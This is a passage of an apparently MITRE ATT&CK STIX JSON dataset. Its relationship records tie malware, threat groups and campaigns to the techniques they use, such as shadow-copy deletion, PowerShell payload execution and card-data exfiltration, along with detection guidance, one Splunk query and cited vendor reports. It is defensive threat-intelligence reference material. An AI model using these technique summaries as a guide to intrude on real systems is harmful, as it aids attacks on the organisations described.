2020."}],"modified":"2020-10-19T13:52:25.533Z","description":"[Maze](https://attack.mitre.org/software/S0449) has used WMI to attempt to delete the shadow volumes on a machine, and to connect a virtual machine to the network domain of the victim organization's network.(Citation: McAfee Maze March 2020)(Citation: Sophos Maze VM September 2020) ","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b8ecd33a-190f-4f7d-945d-c258512d76d4","created":"2024-09-25T19:51:36.712Z","revoked":false,"external_references":[{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T19:51:36.712Z","description":"\n[Play](https://attack.mitre.org/groups/G1040) has leveraged tools to enumerate system information.(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8f1354c-9cff-40ef-aa47-591952c735c3","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"}],"modified":"2020-03-17T16:17:38.055Z","description":"[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects information about available drives, default browser, desktop file list, My Documents, Internet history, program files, and root of available drives. It also searches for ICS-related software files.(Citation: Symantec Dragonfly)","relationship_type":"uses","source_ref":"malware--083bb47b-02c8-4423-81a2-f9ef58572974","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b8f4abe0-5d13-426e-b8c8-c709c93c91ae","created":"2024-03-28T15:42:27.904Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TRITON 2019","description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T16:26:10.069Z","description":"During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) used PowerShell to perform timestomping.(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b8f7512e-b0fe-4d27-ba63-bb99443d1b8c","created":"2019-06-14T16:45:33.979Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC KeyBoys Feb 2017","description":"Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.","url":"https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:22:36.393Z","description":"[KeyBoy](https://attack.mitre.org/software/S0387) uses PowerShell commands to download and execute payloads.(Citation: PWC KeyBoys Feb 2017)","relationship_type":"uses","source_ref":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8fbce12-deae-4655-ac96-e23ebbeef624","type":"relationship","created":"2021-09-15T18:02:37.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec WastedLocker June 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us","description":"Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021."}],"modified":"2021-09-15T18:02:37.635Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has used malicious JavaScript files for several components of their attack.(Citation: Symantec WastedLocker June 2020)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b8fce83b-82ea-4eec-9bb2-ef2e9ad1985c","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T19:48:14.014Z","description":"Monitor and analyze SSL/TLS traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g. extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).\n\nFurthermore, monitor network traffic for cloned sites as well as homographs via the use of internationalized domain names abusing different character sets (e.g. Cyrillic vs Latin versions of trusted sites). ","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b8fdee05-cbe2-43b1-a224-e4b019017c3e","created":"2022-02-10T15:27:46.089Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET T3 Threat Report 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2022/02/eset_threat_report_t32021.pdf","description":"ESET. (2022, February). THREAT REPORT T3 2021. Retrieved February 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[APT29](https://attack.mitre.org/groups/G0016) has use `mshta` to execute malicious scripts on a compromised host.(Citation: ESET T3 Threat Report 2021)","modified":"2022-04-14T12:47:04.101Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b906b0a1-12a3-4d6f-82ec-d72a4ef711b4","type":"relationship","created":"2021-10-01T18:34:01.264Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid RokRAT August 2021","url":"https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/","description":"Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."}],"modified":"2021-10-15T16:55:11.495Z","description":"[APT37](https://attack.mitre.org/groups/G0067) has used Ruby scripts to execute payloads.(Citation: Volexity InkySquid RokRAT August 2021)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b9109cd5-1b13-4376-a761-b68302879351","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}],"modified":"2020-03-20T18:28:20.855Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) can use base64 encoded C2 communications.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b9165c4a-aac7-479d-8ad9-22c25e031a76","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/","description":"Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018.","source_name":"Nccgroup Emissary Panda May 2018"}],"modified":"2021-03-29T19:43:26.819Z","description":"A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can use a public UAC bypass method to elevate privileges.(Citation: Nccgroup Emissary Panda May 2018)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b91c4f2d-8f21-46e9-a012-967436018eea","type":"relationship","created":"2020-05-12T22:05:50.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-12T22:05:50.740Z","description":"[Mofang](https://attack.mitre.org/groups/G0103)'s malicious spearphishing attachments required a user to open the file after receiving.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"intrusion-set--88489675-d216-4884-a98f-49a89fcc1643","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b91de2c3-897a-4e04-94f8-9e905564b47a","created":"2020-06-19T19:08:40.413Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 Valak July 2020","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020.","url":"https://unit42.paloaltonetworks.com/valak-evolution/"},{"source_name":"SentinelOne Valak June 2020","description":"Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020.","url":"https://assets.sentinelone.com/labs/sentinel-one-valak-i"},{"source_name":"Cybereason Valak May 2020","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020.","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:35:19.734Z","description":"[Valak](https://attack.mitre.org/software/S0476) has used scheduled tasks to execute additional payloads and to gain persistence on a compromised host.(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: SentinelOne Valak June 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b91e06c1-9546-4184-9552-ba501bf9182e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2018-10-17T00:14:20.652Z","description":"[ipconfig](https://attack.mitre.org/software/S0100) can be used to display adapter configuration on Windows systems, including information for TCP/IP, DNS, and DHCP.","relationship_type":"uses","source_ref":"tool--294e2560-bd48-44b2-9da2-833b5588ad11","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b921077b-4a62-461c-aaec-9cd70b5cf5f8","created":"2022-06-15T12:55:32.032Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kevin](https://attack.mitre.org/software/S1020) can assign hard-coded fallback domains for C2.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-15T12:55:32.032Z","relationship_type":"uses","source_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b921aed3-07ce-49b0-8051-48807fa82ea7","type":"relationship","created":"2020-02-18T15:54:51.207Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-08T21:05:20.454Z","description":"Use user training as a way to bring awareness and raise suspicion for potentially malicious events and dialog boxes (ex: Office documents prompting for credentials).","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--a2029942-0a85-4947-b23c-ca434698171d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b923a6b3-acae-4ecf-bb56-63188d0e4553","created":"2022-09-16T21:32:46.737Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T21:32:46.737Z","description":"For [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), at least one identified persona was used to register for a free account for a control server.(Citation: McAfee Honeybee) ","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b9250852-1e69-435c-8414-bbf27593eedb","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Monitor executed commands and arguments that may gather information in an attempt to calculate the geographical location of a victim host.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b92542f4-97bc-4e75-9f92-328c25a007ef","created":"2023-09-29T21:09:49.002Z","revoked":false,"external_references":[{"source_name":"Binary Defense Emotes Wi-Fi Spreader","description":"Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.","url":"https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T21:09:49.002Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has reflectively loaded payloads into memory.(Citation: Binary Defense Emotes Wi-Fi Spreader)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b9259830-1b82-4303-bb5a-c0285a71f5ef","created":"2022-02-01T14:23:04.716Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Twitter Ida Pro Nov 2021","description":"Cherepanov, Anton. (2019, November 10). ESETresearch discovered a trojanized IDA Pro installer. Retrieved September 12, 2024.","url":"https://x.com/ESETresearch/status/1458438155149922312"},{"source_name":"Qualys LolZarus","description":"Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022.","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:28:53.002Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used schtasks for persistence including through the periodic execution of a remote XSL script or a dropped VBS payload.(Citation: Qualys LolZarus)(Citation: ESET Twitter Ida Pro Nov 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b9274127-9c6e-4079-a513-75adceceea33","created":"2022-03-30T14:26:51.838Z","x_mitre_version":"0.1","external_references":[{"source_name":"Enigma MMC20 COM Jan 2017","url":"https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/","description":"Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma MMC20 COM Jan 2017)","modified":"2022-04-20T12:35:32.319Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b928ec41-185a-4ced-ad73-aa16aef857fc","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T16:25:44.385Z","description":"Identify processes spawned by user actions, especially from Office documents, PDFs, or web browsers that could lead to malicious execution.\n\nAnalytic 1 - Processes created from user interaction with files.\n\n ((sourcetype=WinEventLog:Security EventCode=4688) OR (sourcetype=Sysmon EventCode=1))\n| search parent_process IN (\"winword.exe\", \"excel.exe\", \"chrome.exe\", \"firefox.exe\")\n| stats count by parent_process process_name command_line user\n| where process_name NOT IN (\"chrome.exe\", \"firefox.exe\", \"winword.exe\", \"excel.exe\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b92d20d6-f6c3-4e5d-9f05-a06d45603617","type":"relationship","created":"2021-01-28T17:54:03.716Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Prevailion EvilNum May 2020","url":"https://www.prevailion.com/phantom-in-the-command-shell-2/","description":"Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021."}],"modified":"2022-01-19T18:23:53.033Z","description":"[EVILNUM](https://attack.mitre.org/software/S0568) can obtain the username from the victim's machine.(Citation: Prevailion EvilNum May 2020)","relationship_type":"uses","source_ref":"malware--7cdfccda-2950-4167-981a-60872ff5d0db","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b92d6b45-e211-4168-ac32-80427bf1b9d2","type":"relationship","created":"2020-07-28T18:16:41.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-07-30T18:52:23.953Z","description":"[PROMETHIUM](https://attack.mitre.org/groups/G0056) has used a script that configures the knockd service and firewall to only accept C2 connections from systems that use a specified sequence of knock ports.(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c","target_ref":"attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b9349020-d0b1-4d48-94f1-74a4f3c79185","type":"relationship","created":"2020-10-09T13:30:46.643Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro FIN6 October 2019","url":"https://www.trendmicro.com/en_us/research/19/j/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops.html","description":"Chen, J. (2019, October 10). Magecart Card Skimmers Injected Into Online Shops. Retrieved September 9, 2020."}],"modified":"2020-10-19T18:18:50.448Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has sent stolen payment card data to remote servers via HTTP POSTs.(Citation: Trend Micro FIN6 October 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b93cfd4f-113c-4769-81c9-e710ed0b5f4e","type":"relationship","created":"2020-03-18T20:25:55.125Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/","description":"Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.","source_name":"Kaspersky Poseidon Group"}],"modified":"2020-03-18T20:25:55.125Z","description":"[Poseidon Group](https://attack.mitre.org/groups/G0033) searches for administrator accounts on both the local victim machine and the network.(Citation: Kaspersky Poseidon Group)","relationship_type":"uses","source_ref":"intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b93d69f2-32a2-43a8-9b45-693d82a51c6b","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"modified":"2020-03-16T15:39:47.721Z","description":"[Derusbi](https://attack.mitre.org/software/S0021) is capable of performing audio captures.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b93fd13f-b11b-4f4b-9d77-977e7af41d5c","created":"2023-02-21T20:45:42.082Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Common Conditional Access Policies","description":"Microsoft. (2022, December 14). Conditional Access templates. Retrieved February 21, 